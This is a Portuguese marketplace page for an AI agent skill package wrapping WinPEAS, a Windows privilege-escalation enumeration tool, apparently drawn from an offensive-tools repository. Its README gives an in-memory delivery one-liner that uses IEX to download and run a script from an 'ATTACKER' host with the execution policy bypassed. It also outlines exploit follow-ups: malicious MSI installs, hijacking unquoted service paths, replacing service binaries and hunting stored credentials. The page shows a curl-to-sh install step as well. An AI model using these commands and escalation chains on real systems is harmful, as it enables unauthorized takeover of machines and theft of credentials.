Pular para o conteúdo
Novo

DeepSeek V4.1 Flash grátis por 7 dias: 10M tokens por dia após recarga de $10 ou mais. Até 30/11.

Como funciona
aeondave/winpeasActive Directory e Windows

winpeas

⁨Auth/lab ref: Windows privilege escalation enumeration tool that identifies misconfigurations, weak permissions, unpatched services, and privilege escalation paths.⁩

v2026.11.13-21cd5683 instalações+3 em 7 dias39 EstrelasGPL-3.0sincronizado há 10 horas

Instalar

Ainda não tem a CLI da NotHoly? Instale primeiro.

$ curl -fsSL https://notholy.com/install.sh | sh
$ notholy skills install aeondave/winpeas

Grava em ⁦~/.notholy/skills⁩ depois de conferir a assinatura e o SHA-256.

AssinaturaAssinado, ed25519
vq+SYFpWKg…mMEqLQCg==A CLI confere o SHA-256 e a assinatura antes de gravar qualquer arquivo.
Pacoteb35d593e…3eab1aca
b35d593e35bc…39fd3eab1aca2 arquivos · ⁦4.5 KB⁩
VarreduraMédio3 achados
  • command.pipe_to_shellSKILL.md:34
  • command.pipe_to_shellreferences/service-exploitation.md:122
  • Links para domínios externos
Ver a varredura completa
Fontegithub.com/AeonDave/malskill/tree/main/offensive-tools/windows/winpeas@21cd568

Este item ainda não foi escrito no seu idioma, então aparece em English.

Windows Privilege Escalation Awesome Suite — comprehensive system enumeration for privilege escalation assessment.

Quick Start

cmd
# EXE version (simplest)
winpeas.exe

# Quiet mode (findings only, no banner)
winpeas.exe quiet

# Focus service misconfigurations only
winpeas.exe quiet servicesinfo

# Export to file
winpeas.exe > C:\Windows\Temp\winpeas.txt

# PowerShell version (for ESC bypass)
powershell -ep bypass -c ". .\winpeas.ps1; Invoke-WinPEAS -OutputFormat HTML"

# In-memory PowerShell delivery
powershell -ep bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER/winPEAS.ps1'); Invoke-WinPEAS"

Key Enumeration Areas

Category What's Checked Critical Findings
System Info Windows version, build, architecture, UAC Unpatched OS, UAC disabled
Users & Groups Local admins, RDP users, group members Overprivileged users, domain admins
Network Network adapters, firewall rules, listening ports Cleartext protocols, open admin ports
Services Running services, startup type, binary paths, permissions Unquoted paths, weak service permissions, DLL hijacking
Scheduled Tasks Task details, scripts, execution context Tasks running as SYSTEM, weak script perms
Drivers Loaded drivers, kernel mode, vulnerable versions Vulnerable drivers (Gigabyte, etc)
DLL Hijacking DLL search paths, writable directories Exploitable DLL loads
Registry AutoRun entries, credentials in registry, policies Plaintext creds, auto-privilege escalation
Credentials Cached creds, saved passwords, browser data Plaintext passwords, cred manager access
AppData Application config files with hardcoded creds App credentials, SSH keys
Patching Missing KB patches, vulnerability mapping Known CVEs with public exploits
File Permissions Writable system directories, NTFS ACLs World-writable binaries, weak folder perms
Antivirus & EDR AV presence, exclusions, service status Disabled/excluded antivirus
Kerberos Constrained delegation, unconstrained delegation Ticket impersonation paths

Core Flags

Flag Description
quiet Print findings only, minimal output
-OutputFormat <format> HTML / CSV / TEXT (PowerShell only)
-FilePath <path> Save to file
-Domain AD-specific checks
-Searchpath <path> Custom search path

Common Workflows

Full enumeration

cmd
winpeas.exe > enum_full.txt
# Review for: unquoted paths, weak service perms, DLL hijacking, creds in AppData

Focused credential hunt

cmd
# After running WinPEAS, look for:
# - Browser data in AppData
# - Saved passwords in config files
# - SAM/LSA secrets in registry (read-only from user context)
# - SSH keys in .ssh folder

Service vulnerability assessment

cmd
# WinPEAS output shows:
# 1. Service binary path (check for quotes)
# 2. Service permissions (can you modify?)
# 3. DLL dependencies (can you hijack?)
# → Build exploit chain

Before/After Enumeration

cmd
# Run once at initial shell
# Run again after low-priv escalation
# → Identify new privilege escalation paths available at new level

Key Findings Priority

🔴 CRITICAL — Exploitable immediately:

  • Unquoted service paths + writable directory
  • Weak service permissions + SYSTEM service
  • AlwaysInstallElevated = 1
  • SeImpersonatePrivilege on exploitable host
  • Plaintext password in registry/config
  • Unpatched kernel (CVE with public exploit)

🟠 HIGH — Likely exploitable:

  • DLL hijacking opportunities
  • Scheduled task running as SYSTEM with weak script perms
  • Weak NTFS ACLs on system directories
  • Missing patches (no public exploit yet)

High-Value Exploit Follow-Ups

Finding Typical follow-up
AlwaysInstallElevated = 1 Build MSI and execute with msiexec /quiet /i evil.msi
SeImpersonatePrivilege Check Potato-family techniques / PrintSpoofer-style abuse
Unquoted service path Drop executable in writable intermediate path and restart service
Writable service binary Replace binary or re-point service path if ACLs allow

🟡 MEDIUM — Context-dependent:

  • Cached credentials (requires specific auth method)
  • Browser stored data (requires unlock)
  • Unused admin credentials

Output Interpretation

WinPEAS marks high-risk findings with:

  • 🔴 Red highlight or [!] prefix
  • Yellow/orange for medium risk
  • Green for low risk

Review marked sections first — these are most likely escalation vectors.

Post-WinPEAS Workflow

  1. Identify low-hanging fruit — unquoted paths, weak perms, plaintext creds
  2. Verify exploitability — test each finding (e.g., can you actually write to that directory?)
  3. Develop exploit — craft batch/PowerShell/C# for the specific vector
  4. Execute — run exploit, verify SYSTEM/Admin shell
  5. Repeat — re-run WinPEAS at new privilege level, find further vectors

Resources

File When to load
references/ Privesc techniques, exploitation examples, Windows security features

Arquivos desta versão

Permissões

PermissãoDeclaradaEncontrada na varredura
Lê arquivosNãoNão
Grava arquivosSimSim
Roda comandos no shellSimSim
Usa a redeSimSim
Usa conectoresNãoNão
Controla um navegadorNãoNão

Achados da varredura

Revisado em 13 de nov. de 2026

  1. MédiaComando · command.pipe_to_shellSKILL.md:34
  2. MédiaComando · command.pipe_to_shellreferences/service-exploitation.md:122
  3. InfoLink · Links para domínios externos

Uma varredura limpa reduz o risco, mas não prova que o pacote é seguro. Leia o que você instala.

VersãoPublicada emCommitSHA-256AssinaturaMudança de permissão
v2026.11.13-21cd56813 de nov. de 202621cd568b35d593eAssinada–

Pergunte tudo o que o seu escopo permite.

Crie a conta, adicione créditos e faça a primeira pergunta no chat ou no terminal.

  1. 1/3

    Crie a conta

    Individual ou empresa. Dá para virar empresa depois sem perder saldo nem chaves.

    Pessoa físicaEmpresa
  2. 2/3

    Adicione créditos

    No cartão. Você paga por token, sem assinatura.

    $5.00recarga mínima
  3. 3/3

    Pergunte

    No chat, ou instale o CLI e rode notholy login no terminal.

    $ notholy login